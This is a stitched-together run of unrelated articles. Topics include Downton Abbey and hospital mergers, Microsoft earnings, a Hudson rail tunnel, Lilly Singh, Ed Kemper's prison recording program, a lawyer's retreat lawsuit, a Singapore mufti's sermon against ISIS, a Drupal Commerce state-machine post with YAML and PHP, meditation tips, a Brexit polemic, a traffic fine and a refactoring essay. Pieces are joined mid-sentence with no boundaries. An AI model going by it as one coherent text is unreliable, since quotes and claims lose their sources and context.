It's 1925 for the lords and ladies at Downton Abbey — think flapper dresses, cocktail parties and women's rights. A big hospital in the nearby city of York is making a play to take over the Downton Cottage Hospital next to the posh estate. Or as Maggie Smith's character, the Dowager Countess of Grantham, sees it, "The royal Yorkshire county hospital wants to take over our little hospital, which is outrageous!"
The battle lines have been drawn between the Dowager Countess, who wants the hospital to stay a small community endeavor, and the rest of the family, which hopes the merger will turn the dinky open-ward affair into a first-rate modern medical institution.
Health care historian Howard Markel, who runs the Center for the History of Medicine at the University of Michigan, said the conceit is actually fairly accurate.
"The 1920s really begins the golden age of medicine," he explained. Before then, hospitals didn't have much to offer in the way of treatment.
"They were really based on old time 19th century medicine, and what that entails is basically nursing. You feed people, you make them comfortable."
There weren't many medications — no antibiotics, insulin or even intravenous fluids.
But in the early 20th century, all sorts of new medical technologies came onto the scene — new ways to peer into the body, new medications and pathogen-free surgeries.
To provide modern care, "you need X-ray machines of all kinds, you need a chemistry laboratory and you need special operating rooms," said Markel, all of which cost much more than the gauze and broth of the past.
Cities started to build bigger, grander hospitals, which in turn started to absorb the smaller, old-fashioned hospitals in the surrounding towns and villages.
Those mergers did have some benefits for local populations. "If we form such a partnership, our patients would have more access to more modern equipment. To more advanced treatments," Downton Abbey's Lord Merton noted on the show.
Many of his real-life contemporaries agreed, making the golden age of medicine a heyday for hospital consolidation on both sides of the pond.
Nowadays, said Kathy McDonald, who directs the Stanford University Center for Health Policy, we appear to be in another Downton-like consolidation surge here in the U.S.
"It's been since about 2010 that there's been sort of an uptick in terms of consolidations," said McDonald. About 100 mergers and acquisitions occur each year right now, about twice as many as there were before 2010, she said.
But this time around, it's not about technology — it's about finances. Hospitals need to be part of larger networks to flex their muscles in negotiations for profitable contracts with insurers. And thanks to the Affordable Care Act, they are now often paid based on the quality and efficiency of the care they provide, rather than for each test or procedure. Actually tracking how good their quality is turns out to be very expensive. And it can be more economical to team up to manage care and track quality.
"They might be providing perfectly good quality, but if they can't prove it, then they're not going to get paid as well," said McDonald.
Those mergers can have real consequences for communities, which may see a local hospital transform or even disappear entirely.
"Just like on 'Downton Abbey,' the local hospital is a resource that people care about. They employ people in a community and they take care of people," said McDonald. So the debates continue, now as then.
And true to form, the indomitable Dowager Countess tells us exactly what she thinks about all this so-called progress: "For years, I've watched governments take control of our lives and their argument is always the same: fewer costs, greater efficiency. But the result is the same too. Less control by the people, more control by the state."
So whose side are the experts on in this "Downton" debate?
"Personally I love Maggie Smith and have loved her since i was a young boy, so I'm on her side as a fan," said Markel.
But, he adds, the other side is probably right.
McDonald is also on the side of progress. But even for health care policy experts, it's hard to argue against the Dowager Countess.
There are plenty of "Downton" fans who say the whole hospital plot line is kind of a snoozer. Maybe it's no surprise — the wonks love it.
"Healthcare just matters to people, so even though we might not be paying attention to this plot line, we probably should," said McDonald.
And with an audience of nearly 10 million viewers this season, there's a good chance at least a few people are.Microsoft Corp. said its earnings improved from a year earlier, with adjusted profit topping Wall Street's estimates, despite a decline in revenue.
Shares rose 5% to $50.42 in after-hours trading.
This marks the first quarter that the Redmond, Wash., company reports its financial results based on three operating divisions as it aims to emphasize its mobile and cloud businesses. Microsoft and other tech firms have turned their focus to cloud-based products as demand for personal-computers has slumped.
Chief Executive Satya Nadella said in prepared remarks Thursday that the company was "making strong progress across each of our three ambitions."
For the period ended Sept. 30, Microsoft reported a profit of $4.62 billion, or 57 cents a share, up from $4.54 billion, or 54 cents a share, a year earlier.
On an adjusted basis, earnings were 67 cents a share compared with 65 cents in the year-earlier quarter.
Revenue decreased 12% to $20.38 billion, and was $21.7 billion on an adjusted basis.
Analysts polled by Thomson Reuters had expected per-share profit of 59 cents and revenue of $21.03 billion.
Gross margin rose to 64.6% from 64.3%.
Microsoft recently unveiled new products largely aimed at the consumer market--including its first laptop computer, the Surface Book--as well as an updated tablet and two high-end smartphones that aim to help turnaround its struggling mobile-phone business.
Microsoft's Windows smartphones have a tiny share of the market. For the fourth quarter ended in June, Microsoft took roughly $8.4 billion in write-downs and other charges related to the handset business it acquired from Nokia and said it would reduce its global workforce by an additional 7,800 people. Microsoft also plans to more sharply focus its smartphone offerings, rather than targeting the mass market, as it aims to curb losses in the business.
The company has also worked to generate sales from its Windows 10 operating system, which it is giving away free. The company is aiming to garner revenue by selling related apps, videogames, Web-search ads and other add-ons, regardless of whether Windows 10 spurs people to buy updated PCs.
Write to Tess Stynes at tess.stynes@wsj.com
Subscribe to WSJ: http://online.wsj.com?mod=djnwiresThe only remaining viable path was under the Hudson Yards project.
Through Mr. Schumer’s office, funding was quickly secured from money that had been set aside for recovery after Hurricane Sandy and work began in August 2013.
“The fact that everybody pulled together, public sector, private sector, Amtrak, federal government, state government, to make sure that the box tunnel was built so that we could do Gateway is a good metaphor,” Mr. Schumer said. “When they understand how important Gateway is, they’re willing to work together for the common good. So the box tunnel hopefully is a metaphor for the rest of Gateway, because when it started it wasn’t easy.”
Now, four years and $250 million later, the first and second sections of the casing are complete and are ready for the Hudson tunnels. A third is fully designed but needs funding to advance to construction.
It could be a long wait.
A recent report, which estimated that the new Hudson River tunnels will cost nearly $13 billion, significantly higher than earlier estimates of about $7.7 billion, laid out a best-case scenario in which construction could begin by fall 2019, and the tunnel could open in spring 2026. But that is predicated on Congress funding the project fairly quickly.
Amtrak insists that it is moving forward with as much of the Gateway project as it can.
“There’s a lot going on behind the scenes,” Mr. Schulz said, referring to environmental reports and engineering tests. “There’s not a lot of dirt flying, there’s not a lot of construction happening, but we’re getting closer and closer every day.”Image copyright Lilly Singh Image caption Lilly Singh has gone from videos of tying turbans to global stardom on YouTube in a few years
"Money has always been the result of what I do. It was never the reason I started."
Lilly Singh is talking about appearing on Forbes' Highest Paid YouTube Stars of 2015 list, days before she takes her show to Mumbai.
Singh, 27 and from Toronto, uses the pseudonym IISuperwomanII when speaking to her social media following of more than 12 million people.
She earned an estimated $2.5m last year from her two YouTube channels, a 27-city world tour and her own movie, among other projects.
Her journey as a digital creator began in 2010. At the start, much of her content focused on her Indian heritage and highlighted her ethnic background.
The film she has just made, A Trip To Unicorn Island, follows her journey in planning and executing her tour from a behind-the-scenes perspective.
"There were so many times I was really tired and really didn't want a camera in my face and the camera would be there."
Although she publishes daily vlogs on one of her channels, she insists the film-making experience was far more invasive.
"There's a lot of really raw emotional moments that I don't think would have been captured if I was in control of the camera."
Image copyright Lilly Singh Image caption An early video from Singh showed her demonstrating how to tie a turban
One of the areas the film highlights is the transition from making videos in her bedroom as a way of treating her depression, to having a global audience who visit her main channel religiously twice a week to see her latest uploads.
She holds the video sharing website responsible for helping her deal with her mental illness.
"The platform got me out of a very dark period of my life so I love YouTube genuinely," she says.
Singh's earliest public video, as IISuperwomanII, is called How to Tie a Side Turla Bhangra Pagh (Turban).
By 2013, her character had built a solid fan base predominantly among South Asian teenage girls living in the US, Canada, UK and Australia.
She began making public appearances all around the world, including the London Mela.
Her videos had started to hit millions of views but when your videos emphasise one particular culture, there will inevitably be a cap on viewers. Singh decided to diversify.
"Very quickly I realised that I didn't have to do that because in the comments people would be saying my parents are exactly the same and my parents are American or my parents are Persian or my parents are Japanese."
Image copyright Lilly Singh Image caption By the London Mela in 2013 her videos had hit millions of views
Choosing more accessible topics does not mean she transformed her appeal altogether.
"I still have my very Indian parent characters in my videos that still have an accent, my mum still wears a shawl on her head," she says.
"It's just I don't feel the need to frame them just for Indian people because I want my content to be enjoyed universally."
The decision paid off and it did not take long for Singh to become one of the most recognised faces on YouTube.
In 2014, she collaborated with other internet stars like FouseyTube, Connor Franta and Grace Helbig - all with millions of subscribers themselves.
The likes of Hollywood's James Franco and Seth Rogan, and Bollywood mega star Madhuri Dixit also featured in her videos.
"I love where my career is at right now, but of course the cons are that it's a super busy life and inevitably leaves you in a lot of long flights and a lot of lonely hotel rooms - stories that no one can relate to. That's the one downfall of the job."
Image copyright Lilly Singh Image caption Unknown a few years ago, Singh now rubs shoulders with Bollywood royalty like Shah Rukh Khan
But the negatives were not strong enough to stop Singh from continuing to increase her reach online. Last year, she moved to California.
"When I used to live in Toronto, I would always be the busiest person out of all my friends… no one could relate to what I was doing. When I'm in LA, I constantly feel like I'm keeping up with people and I love that."
In her latest self-imposed challenge, she has made a foray into film and television. She has already secured a role in the forthcoming Mila Kunis comedy Bad Moms but admits it's been a hard process.
"I can go to my premiere at the Chinese Theatre and everyone will know me and everyone will cater to me.
"And then I'll go to an audition and get rejected left, right and centre. They don't watch my videos and they don't really know who I am. It is like starting from scratch when it comes to traditional Hollywood."
Although Singh is still finding her feet with the conventional auditioning route, she sees the advantages of her current platform when it comes to diversity.
Image copyright Lilly Singh Image caption A Trip to Unicorn Island gives a look behind the scenes
"There is no casting director, there is no producer monitoring your upload button. Anyone that looks like anyone can upload a video.
"I think YouTube and the digital space does set a really good example for the rest of the industry in that sense."
Lilly Singh is appearing this week at the YouTube Fan Fest in Mumbai. The travelling show visits different cities around the world each year, bringing together popular acts from both the host nation and internationally.
"Obviously they have a sense of pride when it comes to me. I always say Indian fans are just so excited."
She has already been inundated with press requests in India with tickets sold out for her closing set in hours.
Celebrities, including singer Mika Singh, have used their Twitter influence to ask her personally to find a way to get them in.
It is expected millions will watch IISuperwomanII perform via the live stream on YouTube's website.
With Hollywood on the horizon, maybe YouTube will take a back seat? Singh maintains it will always be her first priority.
"I'm trying to make my trip a little bit longer so that I can shoot a lot of content there which I'm excited about as well."Blind Couple See Only Good, Not the Guilt of the Helpers
Her fiance, Eames, is a professor of anthropology at Baruch College, City University of New York. They were accompanied to the prison by their guide dogs, Perrier, a black Labrador, and Ivy, a golden retriever.
"These prisoners are doing so much for the unseeing population. We just wanted to come here, to meet them and to thank them personally for their dedication to a program that means so much to the blind," said Gardiner, a rehabilitation counselor for the last 16 years at Kings Park Psychiatric Center, New York State Hospital.
Their friends are inmates at the California Medical Facility State Prison at Vacaville and participants in a program that makes tape recordings of books for the blind.
VACAVILLE, Calif. — Toni Ann Gardiner, 42, and Ed Eames, 56, a blind couple from New York, journeyed by airplane and bus from their homes to this small town this week to visit with a dozen of their friends--murderers, robbers, rapists and embezzlers.
The blind couple, who plan to be married in June, spent 10 hours visiting with the 12 convicts who run the Volunteers of Vacaville or, as the inmates call it, the blind project, inside the walls of this prison 65 miles northeast of San Francisco.
For 27 years prisoners at Vacaville have been recording books--best sellers, textbooks, mysteries, science fiction, Westerns, children's books and cookbooks--on tape for blind men, women and children all over America.
It is the oldest and largest projects of its kind in the nation.
"Their visit here is so special for us. We get letters of thanks from our blind patrons, but they never come inside the prison to meet us," said Edmund E. Kemper III, 38, the inmate who runs the program.
Kemper, a confessed mass murderer, has read onto tape cassettes more books for the blind than any other prisoner. He has spent more than 5,000 hours in a booth before a microphone in the last 10 years and has more than four million feet of tape and several hundred books to his credit.
Two large trophies saluting Kemper for his dedication to the program, presented by supporters outside the prison, are on display in the Volunteers prison office, which has eight recording booths, two monitor booths and a battery of sophisticated tape duplication equipment.
"I can't begin to tell you what this has meant to me, to be able to do something constructive for someone else, to be appreciated by so many people, the good feeling it gives me after what I have done," said the 6-foot, 9-inch prisoner.
Kemper is serving a life sentence for his 1973 conviction on eight counts of murder in a case that drew national attention. Kemper murdered and dismembered his mother, her best friend and six Santa Cruz-area women. He had previously been confined for five years at Atascadero State Hospital after he confessed to killing his grandparents when he was 15. He had been released from Atascadero when psychiatrists concluded that he was no longer dangerous.
Gardiner and Eames have corresponded with Kemper and the other prisoners for some time, but this was their first face-to-face meeting. The blind couple said it was an opportunity for "meeting the voices" that have entertained and enlightened them through the medium of recorded books.
Their prison friends asked them what it is like to be blind, how they function, how the public reacts to their handicap. The blind couple wanted to know what life is like for the inmates, how they would improve the prison system, what they think of the death penalty.
Eames, a strong advocate of the death penalty, expressed surprise when some of the men agreed with him.I don't care if you're my boss, I refuse to attend your naked lawyer vision quest dildo party
Attorney Steven Eggleston is suing his employer, saying the top partner at the law firm pressured him to participate in a weekend all-male retreat that amounted to a New Age self-discovery/male bonding sausage-fest—or a naked lawyer dildo party, depending on your point of view. Participants were sworn to secrecy, says Eggleston, and that was what he saw as the first sign something hinky was afoot at the "The New Warrior Training Adventure." Snip from AOL News:
Men would be holding hands and walking naked, blindfolded, through a forest. Then they would sit nude in groups of 30 to 50, passing around a wooden dildo and giving lurid details of their sexual history. Eggleston said he found out that the men will grab each other's penises if they wish. Eggleston didn't like what he read and refused the invitation. Now he's suing the firm and his bosses, saying he was badgered, yelled at and ultimately had his pay slashed to zero for not attending the retreat, held at a Santa Barbara, Calif., mountain campground and sponsored by the ManKind Project, according to a lawsuit filed in Orange County Superior Court.
The AOL News article goes on to detail the response from ManKind Project (Wikipedia), the organizers of the "bonding retreats. Their website describes the events as "a modern male initiation and self-examination. We believe that this is crucial to the development of a healthy and mature male self, no matter how old a man is. " And, "You will see men mentor other men, support each other, play together and form a safe, authentic container where men are free to be exactly who they are, without defenses or masks. During your training you will stand shoulder to shoulder with an immensely rich mix of masculinity, with occupations and ages as wide as masculinity itself."
Eggleston said in the complaint that he was contacted several times by ManKind Project officials who tried to convince him to attend the event. Part of his research revealed that attendees are told to carpool so they would not be able to leave the event once they got there. [Organizer Marshall] Krupp said the men were told to carpool in groups for their "safety." He also confirmed the nude walks and sit-downs with the dildo.
My take: Hey, look, I've been around the block. While nekkid lawyer dingdong-grapplin' ain't my cup of tea, I have participated in other gatherings that would make "The New Warrior Training Adventure" sound very tame indeed. Vision quest or grope fest, who cares what this thing is as long as they're consenting adults, right?
But if it's true that some element of coercion was involved on the part of Eggleston's employer, that would be A Very Bad Thing.
Years ago at a job-job (before I became a freelance journalist, and before my Boing Boing days), I objected just as strongly to being coerced into doing Meyers-Briggs testing by one employer, and to what I learned later was the testing procedure associated with a particular cult, by another.
Common sense says that being pressured into participating in any kind of alternative therapy, spiritual seeking, religion, cult, or new-agey-self-help stuff by your boss is at the very least, totally not cool. And sometimes it's against the law. The "woo" factor isn't the problem I have with it, the coercion by your freakin' boss is.
What Do You Say to a Naked Lawyer? Here's a SuitSINGAPORE - Singapore's top Muslim leader has called on his community to be wary of messages that misquote the Quran as well as prophetic sayings and traditions to justify acts of violence.
In his Friday (Sept 29) sermon delivered at all mosques here, Mufti Fatris Bakaram squarely refuted messages in ISIS's recent propaganda video featuring Singaporean fighter Megat Shahdan Abdul Samad - and highlighted how they have grossly distorted Islamic teachings.
The 39-year-old, who has been fighting on the frontlines in Iraq and Syria for four years now, had in the clip urged others to join him on the the terror group's path of destruction, calling this "the path of the prophets".
Shahdan also claimed that Muslims must be hostile to believers of other faiths, and claimed he had answered the call of jihad and was under the leadership of a caliph.
He also believed that anyone who followed ISIS and died while fighting for the terror group would die a martyr, noted Dr Fatris.
"All of this is completely wrong. Islam has never considered the killing of innocent lives as jihad," he said. "Islam does not allow for violence and oppression to prevail, places of worship to be destructed and heritage sites to be destroyed and blown up."
Those who participated in these crimes are under the "skewed impression" they will die as martyrs.
And even worse, said Dr Fatris, they justify these heinous acts by misquoting Islam, the Quran and prophetic traditions.
"It is obvious that what is being committed by ISIS is not just a crime towards Islam, but towards the global community," he added.
The Mufti made clear that ISIS' actions are fundamentally against ethics and guidelines taught by the Prophet Muhammad.
Dr Fatris said: "Now, more than ever, we will need to ensure that ourselves, families, and our beloved community have the religious resilience to challenge the messages that violates Islamic teachings and endanger the lives of humanity."
It is the responsibility of every Muslim to understand religious texts comprehensively, and the community should not simply and uncritically accept information from unknown sources without verification, he added.
"Failure to comprehend the context of religious texts can lead to problematic and inaccurate interpretations," said Dr Fatris, pointing out that various verses in the Quran have specific context, and cannot be applied to all circumstances.
He added: "Applying these texts that are meant to be specific in nature to any situation is considered a deviance."
Dr Fatris urged the community to find out where and from whom their family members are obtaining religious instruction from in the hopes of protecting them from deviant teachings.
The Islamic Religious Council of Singapore (Muis) in a statement on Friday expanded on Dr Fatris' sermon, pointing out the problematic aspects of the ISIS video.
Among other things, it highlighted how Shahdan intended to encourage and justify violence against non-Muslims, even when Muslims live in peace and harmony among them - which "goes strongly against the Quranic principle of reciprocating peace and harmony".
It added: "What Megat Shahdan has done is therefore blasphemous and un-Islamic, as it taints and distorts the intentions of our prophets to suit ISIS' violent narratives."
Shahdan had parroted ISIS doctrine of encouraging Muslims to migrate to "Islamic territories", noted Muis.
"However, credible Muslim scholars worldwide have always maintained that Muslims should continue to be contributing citizens and co-exist harmoniously with other communities in diverse, multi-religious societies," it said, adding that scholars in both the classical and contemporary periods, have said that there is no need for Muslims to migrate if they can practise their religion where they live.
In Singapore, it said, the community is privileged to have the Administration of Muslim Law Act, which helps guide, support and ease religious life here.
The Association of Adult Religious Class Students (Perdaus), citing the ISIS video as well, also released a statement on Friday, saying it rejects and condemns any expressions of religious violence and hatred.
It believes an "open, consultative and evidence-based discussion on sensitive issues" is the way forward, and stressed the imporatnce for both Muslims and non-Muslims to learn about Islam from credible teachers under the Asatizah Recognition Scheme.
Perdaus added that it regularly ensures teachers' and students' understanding and practice of Islam are deeply rooted in the local context.
"We strongly believe that an Islamic education with an accredited institution and under credible teachers is an essential part of life in multicultural Singapore and should be made accessible to all," it said.
"Education plays a critical part in stomping out radical ideas and teachings, especially amongst those who have no one to turn to for answers."Now that we’ve covered products, it’s time to jump into orders. We are improving many aspects of orders based on previous feedback. One such aspect is the concept of order statuses and states.
In Commerce 1.x orders have a status. The status indicates the current checkout page, whether the order is a cart, whether it has been paid and fulfilled (shipped), or maybe canceled/refunded. Statuses are sequential, and one goes after another. They are grouped by states, e.g. all checkout statuses belong to the "checkout" state.
The problem with this model is that one list of statuses indicates multiple concepts (checkout state, payment state, fulfillment state, etc). These concepts are parallel and trying to handle them sequentially creates bugs and confusion. For example, an order might be paid before or after checkout completes due to the async nature of certain payment gateways, or because the business is invoicing clients at the end of the month. Furthermore, the system doesn't enforce the requirement for the status to change sequentially; it can be set to any other status at any point. There is also no way to express rules such as “only completed orders can be refunded“ or “completed orders can’t be sent back to checkout”.
Our requirements for Commerce 2.x were:
Remove the hazy distinction between status and state. Have only states. Split the order workflow into multiple workflows (order, checkout, payment, fulfillment) plus a boolean field indicating “is this order a cart“, Allow different order types to use different workflows (a t-shirt might go through different states than a DrupalCon ticket). Provide an API for expressing allowed transitions between states, allowing for better UIs and validation.
To solve this on an API level, we introduced the concept of a workflow, which is a collection of states (id, label) and transitions (id, "from" states, "to" state, label). We also created workflow groups, a way to group workflows used for the same purpose (order workflows, payment workflows, product marketing workflows, etc.). Workflows and groups would be defined in hooks in D7. Since this is D8, they are defined in yaml, just like menu links.
order:
label: Order
entity_type: commerce_order
default:
id: default
label: Default
group: order
states:
new:
label: New
fulfillment:
label: Fulfilment
completed:
label: Completed
canceled:
label: Canceled
transitions:
create:
label: Create
from: [new]
to: fulfillment
fulfill:
label: Fulfill
from: [fulfillment]
to: completed
cancel:
label: Cancel
from: [new, validation, fulfillment]
to: canceled
mymodule.workflow_groups.yml:mymodule.workflows.yml:
These examples are shortened for brevity, the real order workflow will have additional states and transitions. Transitions can further be limited by guard classes such as this one.
The current state is stored in a special field type (StateItem), which references the used workflow, and acts as a state machine. It has an API for getting the allowed transitions:
<?php
$order_state = $order -> getState ();
print $order_state -> value ; // fulfillment
// Get the allowed transitions for the current state.
$transitions = $order_state -> getTransitions ();
// All transitions have a translatable label that can be shown in the UI (great for action buttons)
print_r ( $transitions [ 'completed' ]-> getLabel ());
// Same as $order_state->value = 'completed';
$order_state -> applyTransition ( $transitions [ 'complete' ]);
?>
A matching validator is provided that ensures a valid state was set, taking into account the previous value as well.
Putting it together
Since these APIs aren't Commerce specific, we have placed them into a newly created State Machine module. The README provides a more detailed overview of the offered functionality. As of this morning, the code is also up on drupal.org, with a beta release planned for next week.
With the help of this module, the future looks like this:
These are the default workflows, designed to be generic, and overridable per order type. Of course, their states and transitions might change over the future pre-releases. The most interesting workflow here is the order workflow. Let's look at the available states:
new: Not been placed yet (in checkout or being edited by the admin)
validation: Aawaiting validation (reviewing a fraud score, email verification by the customer, etc)
fulfillment: Awaiting fulfilment (sending all of the relevant packages)
completed: Completed and no longer changeable.
Some states might be skipped with Rules (or an event subscriber), if they're unneeded. We'll also have a cancelled state (from new/validation/fulfillment) and a refunded state (from completed).
In conclusion, we've dramatically improved a very visible developer API. We also left room for a possible UI in the future (in contrib). Next week we'll look at carts and order / line item types.As a rejuvenated neighborhood writes its own destiny, questions of gentrification arise.
Outside of downtown Birmingham itself, Avondale may be the crown jewel of the Magic City’s material and emotional revitalization. Like Birmingham as a whole |
’ve spent staying still.
The next step is to find a distraction free environment. If your office stresses you out, get out of your office. If the sun brings you peace, go outside. This is going to be unique to you, so you need to choose your location based on where you feel you can most comfortably relax.
Feel free to use headphones or earplugs to block out noise, and if you’re going to be outside, consider some sunglasses so you’re not fiercely squinting the whole time.
Now find yourself a comfy position, with your body held straight (don’t unnaturally straighten your spine, be aware of its natural curves and let them be). You might want some form of padding or cushion for this. Eventually, you can consider attempting to adopt a position that looks zen-like, but for now, if you can just sit up straight and breathe comfortably and fully, then your next step is setting a timer.
You’ve got a smartphone, set that timer. Now that you’ve gotten your phone out, either a) smash it to pieces with a suitably large rock, solving your attention problem for good but leaving you without a timer, or b) silence the damned thing.
One text message can ruin this experience for you. Just trust me.
With 10–15 minutes on the clock, close your eyes and start breathing. Think about your body, and your breathing. You’re going to last roughly 30 seconds doing this before you get bored. That’s ok. You haven’t failed.
When your mind wanders, remind yourself to focus again on your breathing. Repeat this over and over, as your mind continues to try desperately to escape this stimulation-free practice. This is why we’re doing this.
If you don’t want to think about your breath, that’s ok. Pick something specific that you want to think of, and think of it for this time. What matters is that eventually, you will be able to think about this one thing (and most things in your life) without your brain running to escape.
When the alarm goes off, you’re done. If you didn’t open your eyes before this, nice work. If not, try again tomorrow.
Attempt this practice five days a week for a few weeks, and then increase your time according to your own convenience and demands.
CONTROL YOUR REALITY
Mindfulness is flexible, so remember that if this style doesn’t work for you, you could jump on a treadmill for this time, soak in an isolation tank, or go out into nature — whatever it is, disconnect for a bit and find yourself :)
This post was originally written by Tyler Gianesini, Operations Manager at Team NeuroGum.In today’s fast-moving world of consumer styles, when you’re out, you’re out. Not just out-of-style, but so far out that you no longer interest the big marketers.
Thus it is that advertising authorities have deemed the middle class itself (roughly 60 percent of us, depending on where you draw the income line) to be unworthy consumers. We’re too poor to matter, they say.
Indeed, even though America’s workaday majority has produced a phenomenal rise in wealth during the past decade, that majority’s income has shrunk — and there’s no improvement in sight. Where did the gains go? Practically all of the new wealth flowed straight up to the richest 10 percent of America’s people, who own more than 80 percent of all stocks and bonds.
Instead of deploring this widening disparity, major hawkers of consumer products are choosing to embrace it. Advertising Age, the marketing industry’s top publication, has curtly declared that “mass affluence is over.” Nearly half of consumer spending today is done by the richest 10 percent of households, and the richest of these richies are deemed to be the most desirable of consumers.
“Simply put,” says Ad Age, “a small plutocracy of wealthy elites drives a larger and larger share of total consumer spending and has outsized purchasing influence.”
The magazine goes on to inform us that households with less than $200,000 in annual income are henceforth on the outs, holding little interest for advertisers. Sure enough, corporate executives in such diverse businesses as airlines, movie theaters, banks, and health care are focusing more and more on platinum-level customers.
Gosh, does this mean they’ll stop inundating me with ads and a flood of other come-ons? I could live with that.So Cameron has (all too predictably) struck his poisonous nothing of a “deal” with the EU.
The Spectator:
So in the end, David Cameron’s attempt to renegotiate Britain’s EU membership served to remind us of the case for leaving: the EU is designed in such a way that almost no sensible proposal can be passed. Its negotiations start after dinner, and are designed to drag on until 5am – a formula designed to stifle debate, and to wear people down. The Prime Minister was kept waiting until 10pm to be told that he had agreement on a deal – but one perforated by the bullet holes of other member states. The resulting deal is a woeful substitute for the fundamental reform that he rightly set out to achieve. They called his bluff, which is bad in itself. But worse, he has now been sent back to London to try to call the bluff of his country.
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That’s too kind. Cameron never set out to achieve “fundamental” reform of the EU. What he was after was just enough in the way of change to allow him to make the case to stay in with as little embarrassment as possible. He didn’t even get that, but good Brussels foot-soldier that he is, he will plug on and make the case. He knows no shame.
The referendum will be on June 23, much earlier than had once been expected. The reason for rushing: Cameron is worried about what a second summer of migration chaos on the continent, chaos made much worse by the EU’s nutty borders policy (and Angela Merkel), will mean for the pro-EU cause.
Justice Minister, Michael Gove, one of the few senior Tories to understand what the Conservative Party should be about has finally declared for Brexit. Writing in The Spectator he explains why. And while he is too kind about Cameron (his friend as well as his boss) and the intentions of the EU’s founders (no, they weren’t benign), he gets that the EU (a classic of mid-century central planning) is both stuck in the past (“an analogue union in a digital age”) and trashing the present. He is also willing to say that the June 23 vote is really about democracy. Do Brits want it or not? Cameron, of course, does not.
The EU is built to keep power and control with the elites rather than the people. Even though we are outside the euro we are still subject to an unelected EU commission which is generating new laws every day and an unaccountable European Court in Luxembourg which is extending its reach every week, increasingly using the Charter of Fundamental Rights which in many ways gives the EU more power and reach than ever before. This growing EU bureaucracy holds us back in every area. EU rules dictate everything from the maximum size of containers in which olive oil may be sold (five litres) to the distance houses have to be from heathland to prevent cats chasing birds (five kilometres). Individually these rules may be comical. Collectively, and there are tens of thousands of them, they are inimical to creativity, growth and progress…
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Ask yourself what it is says about Cameron, truly (as he once said) “the heir to Blair”, that he supports this monstrosity.
Meanwhile speaking from the non-crazed left, Frank Field:
What a choice our poor old country faces. There’s widespread support amongst voters across Europe (but not leading politicians) for a fundamental EU reform programme, but our Government never seriously considered leading on this front. Yet the Government so lacked ability that it couldn’t even achieve the minimal reform programme it cobbled together. Holding the referendum in June was clearly more important than winning major reforms. The Government has failed to secure the key renegotiation requirement, namely, that we should regain control of our borders. I shall therefore be campaigning to leave the EU…
Over at EU Referendum, Richard North tears into Cameron’s deal with his characteristic mix of anger and accuracy. As North has often demonstrated before, the devil, with the EU, is in the details:
So, Mr Cameron says he has secured a “special status” for Britain within a reformed EU. He has done no such thing. His deal pretends to be legally biding but it is not. He has cobbled together a pretend treaty combining a mish-mash of aspirations and political declarations, with no legal force whatsoever. Those parts which promise substantive change are dependent on treaty change at some unspecified point in the future, with no guarantees that they can be delivered. Thus, the claim to have opted out of “ever closer union” – the federalist ratchet at the heart of the 28-country project – can have no legal effect until this future new treaty is in place. Likewise, the supposed safeguards on the eurozone are entirely dependent on this mythical treaty. They rest on clauses yet to be written by future leaders, which then have to be agreed and ratified by all 28-member states – and any others that may have joined in the interim. The supposed “emergency brake” on welfare benefits is the ultimate confidence trick. Mr Cameron and the heads of state have simply re-cooked a 22-year-old provision written in the European Economic Area Agreement, fiddling with minor provisions in existing EU law which now need European Parliament approval and which can be overturned at a drop of a hat. …[We should not] assume that the Brussels barons will treat us kindly if we vote to remain in the EU. They will brush aside future British protests, telling us that we have had our chance to do things our way and rejected it. Our prospects sitting uneasily on the margins of the emerging superstate will not be promising. Unloved, ignored and marginalised, we face an uncertain, even risky future, on the outskirts of the new European empire. This is why, on 23 June, we have to vote to leave the EU. To buy into Mr Cameron’s pretence is to give him and successive politicians a license to lie. If as a people, we accept this garbage, we will take anything – and deserve what we get.
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Sadly, I think that Brits will accept what North so rightly refers to as “garbage”, but that’s a discussion for another time.A MAN has been fined $106 for leaving his car unlocked while walking home to get his licence after being pulled over by NSW Police.
The 22-year-old, originally from Germany, was stopped by officers in Byron Bay for a random breath test and fined for not having his identification on him.
The man only known as ‘Aria’ decided it would be safer to walk home and get his licence before getting back behind the wheel.
He returned to his unlocked car after about 20 minutes
A few days later Aria received a second fine in the mail for $106 for failing to lock the doors and secure the windows while leaving his vehicle unattended
“I laughed, I actually couldn’t take it serious. It’s a fine, so I’ll have to pay it, but it’s just ridiculous,” he told Fairfax.
media_camera Is this real?... Aria though this fine was a joke. Picture: Facebook/David Gunn
“It’s the same street where I live...it was in front of a pretty nice cafe where people were around, so no-one will steal stuff.”
Aria is currently unable to work while he waits for his work permit to be renewed, but will continue employment at local hostel, Backpackers Inn On The Beach, once it’s approved.
His boss, David Gunn, posted the fine on Facebook with the caption ‘Has the world gone mad?’
Social media users were quick to react.
“This fine has been about for some time,it is so they don’t have to deal with the paperwork etc when your car is stolen and you are wishing to claim from your insurance company,” one person wrote.
“Are you serious? This is total insanity,” another added.
According to NSW police, it is an offence under the Australian Road Rules to leave your car unlocked.
The northern NSW town has been flooded with police over the past week as thousands of schoolies descend on the area for end of year celebrations.
Originally published as ‘You serious? This is total insanity’Refactoring: Taming The Bunnies
Brent Simmons had a monster class – in his case a 2500-line view controller – that he wanted to break up into smaller classes. He describes this as “creating a basketful of bunny objects.”
We used to have one big mother class that was complicated and hard to understand. Now we have a smaller mother class and a bunch of very simple new bunny classes.
This is the way one hopes things will work. But, as Brent notes, it doesn’t always work that way.
The separation into separate objects wasn’t nearly clean, in other words. I had to expose a bunch of internal methods and properties of the view controller to its bunnies. Way more than I felt comfortable with. (And there’s no @bunnies keyword to protect those.) And some of the bunnies had to know about each other: the drag controller delegate needed to know about the table view delegate and datasource. The timeline cell delegate needed to know about the datasource. Etc.
We have a basket of bunnies and a ball of yarn: the bunnies are cute, but the tangle isn’t. The new objects seem simple, but they all know too much about each other and they all communicate in complicated ways – ways so complicated that life was better when everything was in one monster mother class.
Sometimes, that’s the answer. But sometimes, refactoring further can drive you to a new design. Test-driven design throughout will help prevent errors from creeping in – and that’s important because we’re going to be yanking code all over the place.
Push Data Down
First, you may be able to simplify things in the old mother class by pushing properties and instance values down from the old class to the bunny class that is its primary user. This can eliminate a lot of communication between the bunnies and the mother class. Ideally, only one bunny needs this data. If a few bunnies need to share, that might be OK.
Herding Bunnies
When possible, it’s better for the mother to tell the bunnies what to do than to ask them about their internal state. This can often simplify coordination and improve encapsulation.
If bunny methods repeatedly need to get stuff from the mother object, consider passing the information they need as arguments. If you have too many arguments, make an argument object. If a method on bunny A needs to talk to some other bunny, pass the bunny as an argument.The point here is to unravel the tangled strands of yarn and to knit up your raveled sleeve of care.
Pull Methods Up
